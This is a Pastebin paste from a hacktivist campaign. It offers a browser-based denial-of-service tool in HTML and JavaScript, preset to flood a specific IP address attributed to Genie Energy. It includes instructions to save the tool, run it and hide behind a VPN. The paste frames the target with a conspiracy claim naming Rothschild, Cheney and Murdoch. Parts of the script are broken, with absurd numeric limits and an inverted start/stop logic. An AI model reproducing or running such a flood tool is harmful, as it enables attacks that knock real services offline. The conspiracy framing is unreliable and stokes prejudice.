JuanDeLemos

DDos Tool for Genie Energy (Rothschild, Cheney and Murdoch)

Mar 20th, 2016
3,968
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #OpIcarus #OpShutDownTheGov #OpIsrael #OpISIS #Killuminati
  2.  
  3. Genie Energy: Rothschild, Cheney and Murdoch.
  4. IP: 205.186.139.243
  5.  
  6. Copy all of the below and save it in a notepad. Then save as DDos.html on to your desktop, open and run. Make sure to use a VPN
  7.  
  8. Expect us.
  9. ---------------------------------------------------------------------------------------------------------------------------------------
  10. <html>
  11. <head>
  12. <title>DIGITAL ANARCHY</title>
  13.  
  14. </head>
  15. <center><h1>OPICARUS - SHOULD HAVE EXPECTED US</h1></center>
  16. <body style="background-color:black; color:#FFFFFF;">
  17. <div style="position:absolute; width:100%; height:100%;">
  18.  
  19. <div style="width:520px; height:800px; position:absolute;">
  20. <img alt="LOIC"src="http://i66.tinypic.com/2eulipu.jpg" />
  21. </div>
  22.  
  23. <div style="width:240px; height:100px; position:absolute;left:500px;">
  24. <fieldset style="width:100%; height:100%;">
  25. <legend>Step 1. Select your target:</legend>
  26. <label>URL: <br /> <input id="targetURL" style="width:100%;" value="205.186.139.243 " /></label> <!-- disabled="true" -->
  27.  
  28. </fieldset>
  29. </div>
  30. <div style="width:240px; height:100px; position:absolute; left:780px;">
  31. <fieldset style="width:100%; height:100%;">
  32. <legend>Step 2. Ready?</legend>
  33.  
  34. <button id="fireButton" style="background-color:black; border-color:#FFF; color:#FFF; width:240px; height:70px;">START</button>
  35.  
  36. </fieldset>
  37. </div>
  38.  
  39. <div style="width:240px; height:160px; position:absolute; left:500px; top:150px;">
  40. <fieldset style="width:100%; height:100%;">
  41. <legend>Optional. Options</legend>
  42. <label>Requests per second : <input style="width:40px;" id="rps" value="999999999999999" /></label><br />
  43.  
  44. <label>Append message : <br /><input style="width:100%;" id="message" value="Free Golan Heights" /></label>
  45.  
  46. </fieldset>
  47. </div>
  48.  
  49. <div style="width:240px; height:160px; position:absolute; left:780px; top:150px;">
  50. <fieldset style="width:100%; height:100%;">
  51. <legend>Attack status:</legend>
  52. <dl>
  53. <dt>Requested:</dt>
  54. <dd id="requestedCtr">0</dd>
  55.  
  56. <dt style="opacity: 0.5; color: green;">Request OK :</dt>
  57. <dd style="opacity: 0.5" id="succeededCtr">0</dd>
  58. <dt style="opacity: 0.5; color: red;">Request failed :</dt>
  59. <dd style="opacity: 0.5" id="failedCtr">0</dd>
  60. </dl>
  61. </fieldset>
  62. </div>
  63.  
  64. </div>
  65. <script>
  66. (function () {
  67. var fireInterval;
  68. var isFiring = true;
  69. var requestedCtrNode = document.getElementById("requestedCtr"),
  70. succeededCtrNode = document.getElementById("succeededCtr"),
  71. failedCtrNode = document.getElementById("failedCtr"),
  72. targetURLNode = document.getElementById("targetURL"),
  73. fireButton = document.getElementById("fireButton"),
  74. messageNode = document.getElementById("message"),
  75. rpsNode = document.getElementById("rps"),
  76. timeoutNode = document.getElementById("timeout");
  77. var targetURL = targetURLNode.value;
  78. targetURLNode.onchange = function () {
  79. targetURL = this.value;
  80. };
  81. var requestsHT = {}; // requests hash table, may come in handy later
  82. var requestedCtr = 0,
  83. succeededCtr = 0,
  84. failedCtr = 0;
  85. var makeHttpRequest = function () {
  86. if (requestedCtr > failedCtr + succeededCtr + 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999) { //Allow no more than 1000 hung requests
  87. return;
  88. };
  89.  
  90. var rID =Number(new Date());
  91. var img = new Image();
  92. img.onerror = function () { onFail(rID); };
  93. img.onabort = function () { onFail(rID); };
  94. img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
  95.  
  96. img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
  97. requestsHT[rID] = img;
  98. onRequest(rID);
  99. };
  100.  
  101. var onRequest = function (rID) {
  102. requestedCtr++;
  103. requestedCtrNode.innerHTML = requestedCtr;
  104. };
  105.  
  106. var onComplete = function (rID) {
  107. delete requestsHT[rID];
  108. };
  109.  
  110. var onFail = function (rID) {
  111. // failedCtr++;
  112. //failedCtrNode.innerHTML = failedCtr;
  113.  
  114. succeededCtr++; //Seems like the url will always fail it it isn't an image
  115. succeededCtrNode.innerHTML = succeededCtr;
  116. delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
  117. };
  118.  
  119. var onSuccess = function (rID) {
  120. succeededCtr++;
  121. succeededCtrNode.innerHTML = succeededCtr;
  122. delete requestsHT[rID];
  123. };
  124.  
  125. fireButton.onclick = function () {
  126. if (isFiring) {
  127. clearInterval(fireInterval);
  128. isFiring = false;
  129. this.innerHTML = "START";
  130. } else {
  131. isFiring = true;
  132. this.innerHTML = "Stop flooding";
  133.  
  134. fireInterval = setInterval(makeHttpRequest, (9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 / parseInt(rpsNode.value) | 0));
  135. }
  136. };
  137.  
  138. })();
  139.  
  140. isFiring = false;
  141. document.getElementById("fireButton").innerHTML = "Stop flooding";
  142. fireInterval = setInterval(makeHttpRequest, (9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 / parseInt(document.getElementById("rps").value) | 0));
  143. </script>
  144. </body>
  145. </html>
Add Comment
Please, Sign In to add comment